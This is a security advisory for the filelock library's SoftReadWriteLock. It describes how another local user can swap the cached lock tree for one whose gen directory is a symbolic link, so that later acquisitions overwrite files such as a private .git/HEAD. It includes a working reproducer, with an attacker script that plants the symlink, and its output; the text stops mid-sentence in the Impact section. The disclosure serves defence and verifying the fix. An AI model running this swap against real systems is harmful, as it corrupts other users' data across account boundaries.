filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock

Classification from the external review: conditional security. It is a cross-user replacement of a cached .rw tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky /tmp or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.

Scope and preconditions

• Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a 0777 scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own 0700 <path>.rw aside and puts its tree in place. In a sticky parent such as /tmp the extra precondition is that it created <path>.rw (with real gen and holders directories, mode 0777) before the lock user's first acquire. prepare() accepts an existing tree whoever owns it, and the other user later replaces its own gen with a symbolic link. fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky <path>.rw, not in the sticky parent (the scanner ran with that setting).
• Lock user: any process that keeps one SoftReadWriteLock or AsyncSoftReadWriteLock object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets RuntimeError. Between two acquisitions there is no timing to win.
• Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (/home/victim/project/.git in the reproducer, under a 0700 home directory the other user cannot open).
• Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only.
• Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273, OsFiles.prepare checks the three directories with lstat and caches _prepared. lstat reports what a name is without following a symbolic link. Every later operation takes a full path string, for example create (O_NOFOLLOW on the last component only), replace (Path(source).replace(target)), unlink and listdir. The callers that write through the swapped tree are Participant.publish / _create_holder, GenerationLog._incarnation (creates epoch), commit (links a generation record and renames over HEAD), _keep_claim_fresh, _sweep and _list (unlink). There is one OsFiles per lock object (_sync.py line 204), handed to every Participant at line 501.

Introduced

The once-per-object shortcut (_prepared) came with 367b111 ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with git tag --contains 367b111, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent 61582c5 (also first in 4.1.0) a contender already waiting during the swap still creates epoch in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried >= 4.0.0 as the union with a sibling finding; for this finding alone the range is >= 4.1.0, <= 4.2.0.

Mechanism

prepare() runs mkdir(mode=0o700) and then lstat() on each of <path>.rw, gen and holders. It raises RuntimeError("... exists but is not a directory or is a symlink; refusing to use it") for a symbolic link or non-directory. It does this by name, once per OsFiles (if self._prepared and not force: return), and only a FileNotFoundError while creating the holder record (the file that says this process holds or wants the lock) leads to prepare(force=True). All other OsFiles methods (read, create, link, replace, overwrite, unlink, listdir) take a full path string such as /srv/shared/app.lock.rw/gen/HEAD. O_NOFOLLOW applies to HEAD, and the kernel follows app.lock.rw and gen to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.

The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options SoftReadWriteLock, as two accounts in /srv/shared (root-owned, mode 0777, no sticky bit):

1. victim runs a worker that builds SoftReadWriteLock("/srv/shared/app.lock") once and takes write_lock() for each job. After the first job, app.lock.rw exists, owned by victim, mode 0700.
2. attacker renames app.lock.rw to app.lock.rw.aside, creates a new app.lock.rw with a world-writable holders/ in it, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git. /home/victim/project is mode 0700; the attacker account cannot open anything below it.
3. The worker takes the lock for its second job. write_lock() returns without error. /home/victim/project/.git now holds new files epoch, 00000000000000000001 and 00000000000000000002, and <epoch>\nfilelock-rw/1\ngeneration=2\n has replaced the content of .git/HEAD. git status there answers fatal: not a git repository.

The second acquisition, step by step: Participant.publish() calls prepare(), which returns at once, then creates holders/<token>. The planted tree has a writable holders, so this succeeds. advance() calls GenerationLog.latest() (the generation log is the lock's ordered record of write generations under gen/). _incarnation() reads gen/epoch, finds none behind the link, and creates .git/epoch. The epoch differs from the remembered one, so the code drops the remembered log. git's HEAD does not start with the new epoch, so _head_record() ignores it and the log reads as empty. commit() creates .git/.commit-<token>, hard-links it (a hard link is a second name for the same file) to .git/00000000000000000001, removes the temporary name, and publishes HEAD through OsFiles.replace, which is rename(".git/.commit-<token>", ".git/HEAD"). The release commits generation 2 the same way and renames over HEAD again.

Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted holders/ on its next poll (_keep_claim_fresh()), and the commit that follows replaces HEAD in the target. A process that only holds and releases, with the tree swapped during the hold, creates epoch in the target on release. With holders as the link, Participant._sweep() (run on acquire polls and from a holder's heartbeat()) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for stale_threshold (observed with stale_threshold=2; the default is 90 s). With gen as the link, GenerationLog._list() unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with SoftFileLockProtocolError.

Reproduction

The scanner's reproducer for finding ANT-2026-WXXRI4M4, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

SHARED = "/srv/shared"
LOCK_TREE = f"{SHARED}/app.lock.rw"
PROJECT = "/home/victim/project"
HEAD = Path(PROJECT, ".git", "HEAD")
AS_VICTIM = ["runuser", "-u", "victim", "--"]
AS_ATTACKER = ["runuser", "-u", "attacker", "--"]
VICTIM_WORKER = [*AS_VICTIM, sys.executable, "/tmp/repro.d/victim_worker.py"]
ATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, "/tmp/repro.d/attacker_swap_tree.py"]

# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter
shutil.rmtree(SHARED, ignore_errors=True)
shutil.rmtree(PROJECT, ignore_errors=True)
os.mkdir(SHARED)
os.chmod(SHARED, 0o777)
subprocess.run([*AS_VICTIM, "git", "init", "--quiet", PROJECT], check=True)
os.chmod(PROJECT, 0o700)
head_before = HEAD.read_text()
print("SETUP    HEAD:", repr(head_before))

attacker_opens_head = subprocess.run(
    [*AS_ATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], capture_output=True, text=True
)
if attacker_opens_head.returncode == 0:
    sys.exit("setup: the attacker can write HEAD directly")
print("CONTROL  attacker opens HEAD for writing:", attacker_opens_head.stderr.strip().splitlines()[-1])

# the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw
worker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
worker.stdin.write("job 1\n")
worker.stdin.flush()
print("VICTIM  ", worker.stdout.readline().strip())
tree = os.stat(LOCK_TREE)
print("VICTIM   app.lock.rw owner uid", tree.st_uid, "mode", oct(tree.st_mode & 0o777))

# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git
subprocess.run(ATTACKER_SWAP_TREE, check=True)
print("ATTACK   app.lock.rw/gen ->", os.readlink(f"{LOCK_TREE}/gen"))

# control: a new lock object, in a new victim process, checks the planted tree and refuses it
fresh_worker = subprocess.run(VICTIM_WORKER, input="job 1\n", capture_output=True, text=True)
print("CONTROL  new worker:", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])
print("CONTROL  HEAD after the new worker:", repr(HEAD.read_text()))

# the same worker does job 2 with the lock object that passed the check at job 1
worker.stdin.write("job 2\n")
worker.stdin.close()
print("VICTIM  ", worker.stdout.read().strip())
worker.wait()

# check: HEAD of the victim's private repository must still be git's own
head_after = HEAD.read_text()
print("OBSERVED HEAD:", repr(head_after))
print("OBSERVED .git:", sorted(os.listdir(HEAD.parent)))
git_status = subprocess.run([*AS_VICTIM, "git", "-C", PROJECT, "status"], capture_output=True, text=True)
print("OBSERVED git status:", (git_status.stdout + git_status.stderr).strip().splitlines()[0])
print("BUG" if head_after != head_before and "filelock-rw/1" in head_after else "OK")

repro.d/attacker_swap_tree.py

import os

LOCK_TREE = "/srv/shared/app.lock.rw"
TARGET = "/home/victim/project/.git"  # below a 0700 directory: this user can neither list nor write it

# the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)
os.rename(LOCK_TREE, f"{LOCK_TREE}.aside")

os.umask(0)
os.mkdir(LOCK_TREE, 0o755)
os.mkdir(f"{LOCK_TREE}/holders", 0o777)  # writable, so the victim's holder record lands and nothing re-runs prepare()
os.symlink(TARGET, f"{LOCK_TREE}/gen")

repro.d/victim_worker.py

import sys

from filelock import SoftReadWriteLock

lock = SoftReadWriteLock("/srv/shared/app.lock")
for job in sys.stdin:
    with lock.write_lock(timeout=30):
        ...  # the job's work on the shared resource
    print("victim: finished", job.strip(), "and released the lock", flush=True)

Attack sequence

sequenceDiagram
    participant A as other local user
    participant W as worker of the lock user (one lock object)
    participant F as /srv/shared (0777, no sticky bit)
    participant T as /home/victim/project/.git (0700)
    rect rgb(255, 214, 214)
        Note over A,T: filelock 4.1.0 to 4.2.0
        W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True
        W->>F: release, lock object kept
        A->>F: rename(app.lock.rw, app.lock.rw.aside)
        A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git
        W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders
        W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch
        W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001
        W->>T: replace() renames .git/.commit-token over .git/HEAD
        W->>T: release commits generation 2 and renames over HEAD again
        Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository
    end

Evidence

The scanner's reproducer runs as root, drops to victim and attacker through runuser, needs git, changes no sysctl, and takes about half a second. It creates /srv/shared (root-owned, 0777, no sticky bit), has victim run git init /home/victim/project and makes that directory 0700. It then drives two programs. victim_worker.py holds one SoftReadWriteLock("/srv/shared/app.lock") with default options; for each line on stdin it takes write_lock(timeout=30), releases it and prints finished <job> and released the lock. attacker_swap_tree.py renames the lock user's app.lock.rw aside, creates a new one with a world-writable holders/, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git, using only write access to /srv/shared. On the scanned commit it prints:

CONTROL  attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD'
VICTIM   victim: finished job 1 and released the lock
VICTIM   app.lock.rw owner uid 1000 mode 0o700
ATTACK   app.lock.rw/gen -> /home/victim/project/.git
CONTROL  new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it
CONTROL  HEAD after the new worker: 'ref: refs/heads/master\n'
VICTIM   victim: finished job 2 and released the lock
OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n'
OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...]
OBSERVED git status: fatal: not a git repository
BUG

The CONTROL lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with fs.protected_symlinks=1. There the other account creates app.lock.rw, gen and holders with mode 0777 in a 1777 parent before the lock user's first acquire, then renames its own gen aside and links it to the lock user's .git.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head: OK, HEAD stays ref: refs/heads/master, .git keeps its original listing and git status answers On branch master. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.

Impact

With the lock user's privileges, in any directory the lock user can wri